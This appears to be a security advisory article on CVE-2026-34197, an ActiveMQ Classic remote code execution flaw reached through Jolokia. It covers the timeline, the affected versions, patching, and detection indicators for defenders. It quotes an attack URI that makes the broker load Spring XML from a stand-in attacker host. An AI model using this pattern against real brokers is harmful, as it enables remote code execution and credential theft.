
Apache ActiveMQ Classic has a remote code execution flaw, CVE-2026-34197, that went unnoticed for about 13 years. Through the Jolokia management API, an attacker can make the broker load a remote Spring XML file and run OS commands. Horizon3.ai researcher Naveen Sunkavally found it with heavy help from Claude, and Apache fixed it in March 2026. ActiveMQ has a long record of exploited bugs, so if you run Classic brokers, patch quickly.
What happened
Sunkavally reported the issue to Apache on 22 March 2026. The CVE was assigned on 26 March, and fixed releases shipped on 30 March. Horizon3 published its advisory on 6 April, and the CVE record went live on 7 April. Apache rates it "Important", and public scoring puts it at CVSS 8.8. Sunkavally described the work as "80% Claude with 20% gift-wrapping by a human".
The bug chains features that are each harmless on their own:
- The web console (port 8161) exposes Jolokia at
/api/jolokia/. - The fix for an earlier bug, CVE-2022-41678, made Jolokia read-only by default. To keep the console working, though, it allowed every operation on
org.apache.activemq:*MBeans, including the broker'saddNetworkConnectoroperation. - An attacker calls
addNetworkConnectorwith a URI such asstatic:(vm://rce?brokerConfig=xbean:http://attacker/evil.xml). Thevm://transport creates a new in-JVM broker on the fly and loads its configuration from the attacker's Spring XML throughResourceXmlApplicationContext. That XML callsRuntime.exec(), the same sink abused in CVE-2023-46604.
Exploitation normally needs Jolokia credentials, but the default admin:admin is common. On ActiveMQ 6.0.0 to 6.1.1, a separate bug (CVE-2024-32114) left /api/* without authentication, so on those versions the flaw is effectively unauthenticated RCE. At disclosure, there were no reports of active exploitation.
Who is affected
- ActiveMQ Classic (
activemq-brokerandactivemq-all) before 5.19.4, and 6.x from 6.0.0 before 6.2.3, per Apache's advisory. - Highest risk: 6.0.0 to 6.1.1 (no auth on Jolokia), and any broker with default console credentials or a web console reachable from the internet.
- Not affected: ActiveMQ Artemis.
- Apps that embed the broker via
activemq-allin Spring Boot or similar stacks, which teams often forget to inventory.
What it means for developers and engineering teams
This bug is a good example of feature interaction risk. Jolokia, JMX, network connectors and the VM transport each do what they are documented to do. The vulnerability exists only where they meet, and the over-broad allow rule added as a compatibility fix for an earlier CVE made that meeting point reachable. When you patch by allow-listing, list the specific operations a component needs, not a whole namespace.
It also shows how AI-assisted code review is changing vulnerability discovery. Mature Java middleware is full of these cross-feature paths, and attackers have the same tools. Expect more old bugs in brokers, app servers and admin consoles to surface quickly.
Operationally, management planes should never be public. Message brokers sit at the heart of a microservices system. Code execution on one lets an attacker read or inject messages and steal the credentials of every connected service.
What to do now
- Upgrade to at least 5.19.4 or 6.2.3. Horizon3's advisory now lists 5.19.6 and 6.2.5, so take the latest release in your branch. Check your version with
bin/activemq --version, or look atactivemq-allin your dependency tree (mvn dependency:tree | grep activemq). - Change the default console credentials in
conf/jetty-realm.properties(or your JAAS config), and removeadmin:admin. - Restrict port 8161 to an admin network or VPN. Bind the web console to localhost if you don't use it.
- Hunt for indicators: POST requests to
/api/jolokia/containingaddNetworkConnector, and broker logs showing a network connector to avm://URI withbrokerConfig=xbean:http. A "no BrokerService instance" warning appears after the payload has run. - Watch the JVM for unexpected child processes and outbound HTTP to unknown hosts.
- Check older CVEs as well. CVE-2023-46604 and CVE-2016-3088 are both in CISA's KEV catalogue.